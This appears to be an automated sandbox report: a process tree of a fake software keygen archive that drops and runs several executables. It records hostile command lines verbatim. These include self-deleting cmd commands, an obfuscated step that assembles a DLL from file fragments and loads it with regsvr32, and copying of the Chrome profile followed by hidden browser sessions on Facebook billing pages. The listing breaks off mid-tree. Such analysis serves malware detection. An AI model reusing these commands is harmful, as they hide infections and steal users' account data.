                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\Temp2_Comprehensive_Meta_Analysis_keygen_by_KeygenNinja.zip\Comprehensive_Meta_Analysis_keygen_by_KeygenNinja.exe
                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\Temp2_Comprehensive_Meta_Analysis_keygen_by_KeygenNinja.zip\Comprehensive_Meta_Analysis_keygen_by_KeygenNinja.exe"
                                                                                                                                    1⤵
                                                                                                                                      PID:5968
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "
                                                                                                                                        2⤵
                                                                                                                                          PID:6056
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
                                                                                                                                            keygen-pr.exe -p83fsase3Ge
                                                                                                                                            3⤵
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            PID:4824
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe
                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe"
                                                                                                                                              4⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:728
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe
                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe -txt -scanlocal -file:potato.dat
                                                                                                                                                5⤵
                                                                                                                                                  PID:4148
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
                                                                                                                                              keygen-step-1.exe
                                                                                                                                              3⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:4220
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe
                                                                                                                                              keygen-step-2.exe
                                                                                                                                              3⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              • Modifies system certificate store
                                                                                                                                              PID:4804
                                                                                                                                              • C:\Users\Admin\AppData\Roaming\1D5C.tmp.exe
                                                                                                                                                "C:\Users\Admin\AppData\Roaming\1D5C.tmp.exe"
                                                                                                                                                4⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                • Loads dropped DLL
                                                                                                                                                PID:5284
                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Roaming\1D5C.tmp.exe"
                                                                                                                                                  5⤵
                                                                                                                                                    PID:4388
                                                                                                                                                    • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                      timeout /T 10 /NOBREAK
                                                                                                                                                      6⤵
                                                                                                                                                      • Delays execution with timeout.exe
                                                                                                                                                      PID:5628
                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe" >> NUL
                                                                                                                                                  4⤵
                                                                                                                                                    PID:5456
                                                                                                                                                    • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                      ping 127.0.0.1
                                                                                                                                                      5⤵
                                                                                                                                                      • Runs ping.exe
                                                                                                                                                      PID:5768
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe
                                                                                                                                                  keygen-step-5.exe
                                                                                                                                                  3⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  PID:5216
                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                    "C:\Windows\system32\cmd.exe" /C COpy /y "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe" ..\2qqp4iqOX.exe > NUL&& StArT ..\2qqp4iqOX.exe -pyp7S_xrtypTiefBk7PfWqg6FXyx3Z & If "" == "" for %A iN ( "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe" ) do taskkill /im "%~NXA" -F > nUL
                                                                                                                                                    4⤵
                                                                                                                                                      PID:2544
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\2qqp4iqOX.exe
                                                                                                                                                        ..\2qqp4iqOX.exe -pyp7S_xrtypTiefBk7PfWqg6FXyx3Z
                                                                                                                                                        5⤵
                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                        PID:5220
                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                          "C:\Windows\system32\cmd.exe" /C COpy /y "C:\Users\Admin\AppData\Local\Temp\2qqp4iqOX.exe" ..\2qqp4iqOX.exe > NUL&& StArT ..\2qqp4iqOX.exe -pyp7S_xrtypTiefBk7PfWqg6FXyx3Z & If "-pyp7S_xrtypTiefBk7PfWqg6FXyx3Z " == "" for %A iN ( "C:\Users\Admin\AppData\Local\Temp\2qqp4iqOX.exe" ) do taskkill /im "%~NXA" -F > nUL
                                                                                                                                                          6⤵
                                                                                                                                                            PID:4144
                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                            "C:\Windows\system32\cmd.exe" /q /c ecHO | Set /P = "MZ" > 5vH7.V9& coPY /b /Y 5vH7.V9 + BcDE0TD.x + 5KB9UM.J + R3SX0.IW + NKb3HN.gI + JHoT~.DUL + GAAG9.2 ..\XBRmDA.kU > Nul & sTart regsvr32.exe /S ..\xBRMdA.KU /u & deL /Q * > NuL
                                                                                                                                                            6⤵
                                                                                                                                                              PID:4524
                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                C:\Windows\system32\cmd.exe /S /D /c" ecHO "
                                                                                                                                                                7⤵
                                                                                                                                                                  PID:5228
                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  C:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>5vH7.V9"
                                                                                                                                                                  7⤵
                                                                                                                                                                    PID:5428
                                                                                                                                                                  • C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                                    regsvr32.exe /S ..\xBRMdA.KU /u
                                                                                                                                                                    7⤵
                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                    • Suspicious use of NtCreateThreadExHideFromDebugger
                                                                                                                                                                    PID:5476
                                                                                                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                taskkill /im "keygen-step-5.exe" -F
                                                                                                                                                                5⤵
                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                PID:5224
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe
                                                                                                                                                            keygen-step-3.exe
                                                                                                                                                            3⤵
                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                            PID:4748
                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                              cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"
                                                                                                                                                              4⤵
                                                                                                                                                                PID:2284
                                                                                                                                                                • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                  ping 1.1.1.1 -n 1 -w 3000
                                                                                                                                                                  5⤵
                                                                                                                                                                  • Runs ping.exe
                                                                                                                                                                  PID:4212
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exe
                                                                                                                                                              keygen-step-4.exe
                                                                                                                                                              3⤵
                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                              PID:5004
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\RarSFX3\jg6_6asg.exe
                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\RarSFX3\jg6_6asg.exe"
                                                                                                                                                                4⤵
                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                • Checks whether UAC is enabled
                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                PID:408
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\RarSFX3\askinstall20.exe
                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\RarSFX3\askinstall20.exe"
                                                                                                                                                                4⤵
                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                • Drops Chrome extension
                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                PID:2424
                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  cmd.exe /c taskkill /f /im chrome.exe
                                                                                                                                                                  5⤵
                                                                                                                                                                    PID:3104
                                                                                                                                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                      taskkill /f /im chrome.exe
                                                                                                                                                                      6⤵
                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                      PID:5688
                                                                                                                                                                  • C:\Windows\SysWOW64\xcopy.exe
                                                                                                                                                                    xcopy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data" "C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\" /s /e /y
                                                                                                                                                                    5⤵
                                                                                                                                                                    • Enumerates system info in registry
                                                                                                                                                                    PID:5640
                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --window-position=-50000,-50000 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" https://www.facebook.com/ https://www.facebook.com/pages/ https://secure.facebook.com/ads/manager/account_settings/account_billing/
                                                                                                                                                                    5⤵
                                                                                                                                                                    • Enumerates system info in registry
                                                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                    PID:5604
                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xd4,0xd8,0xdc,0xb0,0xe0,0x7ff955234f50,0x7ff955234f60,0x7ff955234f70
                                                                                                                                                                      6⤵
                                                                                                                                                                        PID:5620
                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1496,16593341959931511272,2607775876089959300,131072 --lang=en-US --service-sandbox-type=network --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=1772 /prefetch:8
                                                                                                                                                                        6⤵
                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                        PID:6100
                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1496,16593341959931511272,2607775876089959300,131072 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1504 /prefetch:2
                                                                                                                                                                        6⤵
                                                                                                                                                                          PID:4512
                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1496,16593341959931511272,2607775876089959300,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=2352 /prefetch:8
                                                                                                                                                                          6⤵
                                                                                                                                                                            PID:4136
                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1496,16593341959931511272,2607775876089959300,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2816 /prefetch:1
                                                                                                                                                                            6⤵
                                                                                                                                                                              PID:3700
                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1496,16593341959931511272,2607775876089959300,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2808 /prefetch:1
                                                                                                                                                                              6⤵
                                                                                                                                                                                PID:2820
                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1496,16593341959931511272,2607775876089959300,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3204 /prefetch:1
                                                                                                                                                                                6⤵
                                                                                                                                                                                  PID:1472
                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1496,16593341959931511272,2607775876089959300,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3328 /prefetch:1
                                                                                                                                                                                  6⤵
                                                                                                                                                                                    PID:3284
                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1496,16593341959931511272,2607775876089959300,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3692 /prefetch:1
                                                                                                                                                                                    6⤵
                                                                                                                                                                                      PID:4808
                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1496,16593341959931511272,2607775876089959300,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3908 /prefetch:1
                                                                                                                                                                                      6⤵
                                                                                                                                                                                        PID:4940
                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1496,16593341959931511272,2607775876089959300,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=5588 /prefetch:8
                                                                                                                                                                                        6⤵
                                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                        PID:4988
                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1496,16593341959931511272,2607775876089959300,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=5420 /prefetch:8
                                                                                                                                                                                        6⤵
                                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                        PID:5316
                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1496,16593341959931511272,2607775876089959300,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=1424 /prefetch:8
                                                                                                                                                                                        6⤵
                                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                        PID:6052
                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1496,16593341959931511272,2607775876089959300,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=1424 /prefetch:8
                                                                                                                                                                                        6⤵
                                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                        PID:4524
                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1496,16593341959931511272,2607775876089959300,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=652 /prefetch:8
                                                                                                                                                                                        6⤵
                                                                                                                                                                                          PID:5064
                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1496,16593341959931511272,2607775876089959300,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=4236 /prefetch:8
                                                                                                                                                                                          6⤵
                                                                                                                                                                                            PID:2840
                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1496,16593341959931511272,2607775876089959300,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=1272 /prefetch:8
                                                                                                                                                                                            6⤵
                                                                                                                                                                                              PID:1300
                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1496,16593341959931511272,2607775876089959300,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2236 /prefetch:2
                                                                                                                                                                                              6⤵
                                                                                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                              PID:2124
                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1496,16593341959931511272,2607775876089959300,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=2092 /prefetch:8
                                                                                                                                                                                              6⤵
                                                                                                                                                                                                PID:3104
                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1496,16593341959931511272,2607775876089959300,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=2496 /prefetch:8
                                                                                                                                                                                                6⤵
                                                                                                                                                                                                  PID:4228
                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1496,16593341959931511272,2607775876089959300,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=3188 /prefetch:8
                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                    PID:4140
                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1496,16593341959931511272,2607775876089959300,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=5780 /prefetch:8
                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                      PID:1732
                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1496,16593341959931511272,2607775876089959300,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=5564 /prefetch:8
                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                        PID:4652
                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1496,16593341959931511272,2607775876089959300,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=5588 /prefetch:8
                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                          PID:5476
                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1496,16593341959931511272,2607775876089959300,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=5524 /prefetch:8
                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                            PID:5224
                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\SwReporter\90.261.200\software_reporter_tool.exe
                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\SwReporter\90.261.200\software_reporter_tool.exe" --engine=2 --scan-locations=1,2,3,4,5,6,7,8,10 --disabled-locations=9,11 --session-id=tGyDYwRSlGeEfOTtSEsyZYU7S7yx2PPQLMTV9nuP --registry-suffix=ESET --srt-field-trial-group-name=NewCleanerUIExperiment
                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                            PID:5768
                                                                                                                                                                                                            • \??\c:\users\admin\appdata\local\temp\cghjgasaaz99\swreporter\90.261.200\software_reporter_tool.exe
                                                                                                                                                                                                              c:\users\admin\appdata\local\temp\cghjgasaaz99\swreporter\90.261.200\software_reporter_tool.exe --crash-handler "--database=c:\users\admin\appdata\local\Google\Software Reporter Tool" --url=https://clients2.google.com/cr/report --annotation=plat=Win32 --annotation=prod=ChromeFoil --annotation=ver=90.261.200 --initial-client-data=0x244,0x248,0x24c,0x220,0x250,0x7ff65ae7a808,0x7ff65ae7a818,0x7ff65ae7a828
                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                              PID:5572
                                                                                                                                                                                                            • \??\c:\users\admin\appdata\local\temp\cghjgasaaz99\swreporter\90.261.200\software_reporter_tool.exe
                                                                                                                                                                                                              "c:\users\admin\appdata\local\temp\cghjgasaaz99\swreporter\90.261.200\software_reporter_tool.exe" --use-crash-handler-with-id="\\.\pipe\crashpad_5768_IOBWVDITKCKBZGGI" --sandboxed-process-id=2 --init-done-notifier=708 --sandbox-mojo-pipe-token=9835922422940671570 --mojo-platform-channel-handle=684 --engine=2
                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                                                                              PID:5952
                                                                                                                                                                                                            • \??\c:\users\admin\appdata\local\temp\cghjgasaaz99\swreporter\90.261.200\software_reporter_tool.exe
                                                                                                                                                                                                              "c:\users\admin\appdata\local\temp\cghjgasaaz99\swreporter\90.261.200\software_reporter_tool.exe" --use-crash-handler-with-id="\\.\pipe\crashpad_5768_IOBWVDITKCKBZGGI" --sandboxed-process-id=3 --init-done-notifier=916 --sandbox-mojo-pipe-token=7223895230267892859 --mojo-platform-channel-handle=912
                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                              PID:5068
                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1496,16593341959931511272,2607775876089959300,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=4140 /prefetch:8
                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                            PID:4468
                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1496,16593341959931511272,2607775876089959300,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=5788 /prefetch:8
                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                              PID:5664
                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1496,16593341959931511272,2607775876089959300,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=5880 /prefetch:8
                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                PID:4932
                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1496,16593341959931511272,2607775876089959300,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=5524 /prefetch:8
                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                  PID:4764
                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1496,16593341959931511272,2607775876089959300,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=5420 /prefetch:8
                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                    PID:4084
                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
